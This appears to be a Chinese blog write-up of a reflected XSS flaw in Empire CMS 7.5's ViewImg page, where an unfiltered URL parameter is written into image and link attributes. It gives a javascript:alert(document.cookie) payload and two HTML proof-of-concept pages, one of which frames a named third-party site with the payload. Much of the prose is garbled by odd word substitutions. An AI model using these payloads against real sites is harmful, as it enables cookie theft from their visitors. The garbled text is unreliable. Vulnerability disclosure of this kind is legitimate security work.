快捷搜索:  网络  渗透  后门  CVE  扫描  木马  黑客  as

代码审计 | Empire CMS v7.5前台XSS漏洞

*

概述

帝国CMS简称Empire CMS,黑客漏洞,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,近来也去挖了前台XSS,发现前台有一处过滤不完备导致的XSS漏洞

相干环境

源码信息:EmpireCMS_7.5_SC_UT

漏洞类型:反射型XSS 

下载地址:http://www.phome.net/download/ 

漏洞文件:/e/ViewImg/index.html

漏洞阐发

一、该文件不是PHP文件,只是普通html静态文件,然则其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img以及a标签的,src属性以及href属性,然后经过document.write输出到页面。

image.png2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数肇始地位以及结束地位。

例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理以后得到javascript:alert(document.cookie)。

image.png

三、最后经过document.write函数输出到页面,得到a标签以及img标签,并且href以及src的值,就是返归的javascript:alert(document.cookie)。

image.png

四、根据触发规则,可以进行点击图片地位即可触发,网上找了两个网站实例。

image.png

image.png

行使要领

一、有人会说行使点太小了,不好触发,可以参考我从前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS地位随便挪移,方便触发。

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html

2、具体行使代码以下,第一段代码,结果以下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>中转</title> </head> <body> <iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;"></iframe> </body> </html>

image.png
三、第二段代码以下,嵌套前面的代码完成任意地位挪移。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>存储型SS测试</title>

</head>

<body>

<marquee behavior="alternate">→→→→→→→→→→<iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no"></iframe>←←←←←←←←←←</marquee>

</body>

</html>

四、两段代码终极结果以下。

image.png
五、GIF动态测试结果以下,从前我以为这类行使要领很逗比,然则现在我也以为这类行使要领很逗B……

11.gif

总结

一、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签以及img标签的,href属性以及src属性输出。

2、至于行使要领,是几年前无聊想的,所以拿来用用。

*

您可能还会对下面的文章感兴趣: